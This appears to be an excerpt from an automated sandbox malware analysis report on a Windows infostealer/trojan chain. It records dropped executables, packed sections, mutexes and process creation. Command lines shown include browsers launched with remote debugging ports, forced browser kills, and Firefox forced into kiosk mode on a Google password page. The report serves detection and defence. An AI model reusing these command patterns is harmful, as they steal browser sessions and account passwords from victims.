Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E5B248	17_2_05E5B248
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E14A52	17_2_05E14A52
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E16256	17_2_05E16256
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E43A5D	17_2_05E43A5D
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E5225E	17_2_05E5225E
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E1E220	17_2_05E1E220
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E58A22	17_2_05E58A22
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E19A3C	17_2_05E19A3C
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E5A203	17_2_05E5A203
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Code function: 17_2_05E1DA10	17_2_05E1DA10

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5194D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C50CBE8 appears 134 times

Source: file.exe, 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2683803557.000000006C755000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2642547892.00000000008DD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ihmwfsmw ZLIB complexity 0.9948520399437519
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981000936648501
Source: random[1].exe.0.dr	Static PE information: Section: wdmrrcke ZLIB complexity 0.9947488193174894
Source: EBFHJEGDAF.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981000936648501
Source: EBFHJEGDAF.exe.0.dr	Static PE information: Section: wdmrrcke ZLIB complexity 0.9947488193174894
Source: skotes.exe.14.dr	Static PE information: Section: ZLIB complexity 0.9981000936648501
Source: skotes.exe.14.dr	Static PE information: Section: wdmrrcke ZLIB complexity 0.9947488193174894
Source: random[2].exe0.15.dr	Static PE information: Section: utmcruzd ZLIB complexity 0.9943969274836322
Source: 480f06d5d5.exe.15.dr	Static PE information: Section: utmcruzd ZLIB complexity 0.9943969274836322
Source: random[2].exe1.15.dr	Static PE information: Section: ZLIB complexity 0.9946797040870489
Source: random[2].exe1.15.dr	Static PE information: Section: egpglfrh ZLIB complexity 0.9921220677067892
Source: 82d9128a9d.exe.15.dr	Static PE information: Section: ZLIB complexity 0.9946797040870489
Source: 82d9128a9d.exe.15.dr	Static PE information: Section: egpglfrh ZLIB complexity 0.9921220677067892
Source: random[3].exe.15.dr	Static PE information: Section: mrmfzkic ZLIB complexity 0.994343709156259
Source: 76ee5543cc.exe.15.dr	Static PE information: Section: mrmfzkic ZLIB complexity 0.994343709156259
Source: random[1].exe.15.dr	Static PE information: Section: ZLIB complexity 0.9977408854166666
Source: random[1].exe.15.dr	Static PE information: Section: kavxkxnu ZLIB complexity 0.9942556527944711
Source: 43cdd8ad97.exe.15.dr	Static PE information: Section: ZLIB complexity 0.9977408854166666
Source: 43cdd8ad97.exe.15.dr	Static PE information: Section: kavxkxnu ZLIB complexity 0.9942556527944711
Source: random[1].exe0.15.dr	Static PE information: Section: ihmwfsmw ZLIB complexity 0.9948520399437519
Source: 998d30a932.exe.15.dr	Static PE information: Section: ihmwfsmw ZLIB complexity 0.9948520399437519

Source: 43cdd8ad97.exe.15.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe.15.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@133/98@146/24

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C537030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C537030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\432GIDJR.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7672:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4464:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7080:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2576:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1972:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3620:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6436:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3360:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8060:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5632:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5680:120:WilError_03

Source: C:\Users\user\Documents\EBFHJEGDAF.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: file.exe, 00000000.00000002.2683642528.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2662260147.000000001D469000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2680619573.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000000.00000002.2683642528.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2662260147.000000001D469000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2680619573.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2683642528.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2662260147.000000001D469000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2680619573.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2683642528.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2662260147.000000001D469000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2680619573.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: file.exe, 00000000.00000002.2683642528.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2662260147.000000001D469000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2680619573.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2683642528.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2662260147.000000001D469000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2680619573.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2662260147.000000001D469000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2680619573.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000003.2275773674.000000001D369000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2414566943.000000001D35D000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2864409596.00000000055CE000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2889418986.00000000055D6000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2889658365.00000000055C9000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2864774569.00000000055B0000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3096358724.0000000005570000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3048642619.00000000054F6000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3056662514.00000000054D9000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3096358724.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2662260147.000000001D469000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2680619573.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000000.00000002.2662260147.000000001D469000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2680619573.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: EBFHJEGDAF.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 43cdd8ad97.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2284 --field-trial-handle=2200,i,9663967089356670699,6161986884311762459,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2280,i,12129099587254374971,13455169532411642605,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=2120,i,3944860709860646515,864746559812166829,262144 /prefetch:3
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\EBFHJEGDAF.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\EBFHJEGDAF.exe "C:\Users\user\Documents\EBFHJEGDAF.exe"
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe "C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe "C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe "C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe "C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe"
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2184 -parentBuildID 20230927232528 -prefsHandle 2128 -prefMapHandle 2120 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d31f3b73-117a-46ce-a0f7-234ea1f05cc0} 7260 "\\.\pipe\gecko-crash-server-pipe.7260" 209e5570d10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4112 -parentBuildID 20230927232528 -prefsHandle 4104 -prefMapHandle 4100 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {275762a2-0039-4320-92ee-e26bc0abc741} 7260 "\\.\pipe\gecko-crash-server-pipe.7260" 209f7adc910 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe "C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe "C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe "C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe"
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe "C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe "C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe"
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=43cdd8ad97.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2456 --field-trial-handle=2388,i,1742879964880318767,14885282472322802179,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=43cdd8ad97.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\EBFHJEGDAF.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2284 --field-trial-handle=2200,i,9663967089356670699,6161986884311762459,262144 /prefetch:8	Jump to behavior
